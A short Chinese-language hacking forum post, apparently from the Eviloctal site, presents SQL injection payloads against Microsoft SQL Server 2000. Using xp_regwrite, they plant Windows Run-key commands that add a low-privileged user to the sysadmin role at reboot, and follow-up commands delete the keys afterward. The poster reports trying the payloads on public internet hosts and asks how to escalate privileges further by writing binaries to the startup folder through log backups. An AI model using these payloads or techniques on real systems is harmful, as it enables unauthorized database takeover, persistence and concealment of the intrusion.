议题作者:pt007
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
利用xp_regwrite与xp_regread将SQl用户test1提升为sysadmin用户(即dbo),机器重启后就是数据库管理员权限了:
1);EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c echo EXEC sp_addsrvrolemember test1, sysadmin >c:\test.qry'--
2);EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help2','REG_SZ','cmd.exe /c isql -E /U alma /P /i c:\test.qry'--
需要重启系统才能成功的利用。
删除help1和help2键值:
1);EXEC master.dbo.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1'
2);EXEC master.dbo.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help2'
我在本机上试验成功,本机的环境是win2003+SQL2000,test1用户为db_owner权限,但是利用它在公网主机上做试验却没有一个能成功,请问一下DB_OWNER权限用户有没有执行xp_regwrite写命令到注册表启动项的权限?
另外听说可以利用LOG备份二进制程序到启动文件夹里面以实现提权功能,具体应该如何实现?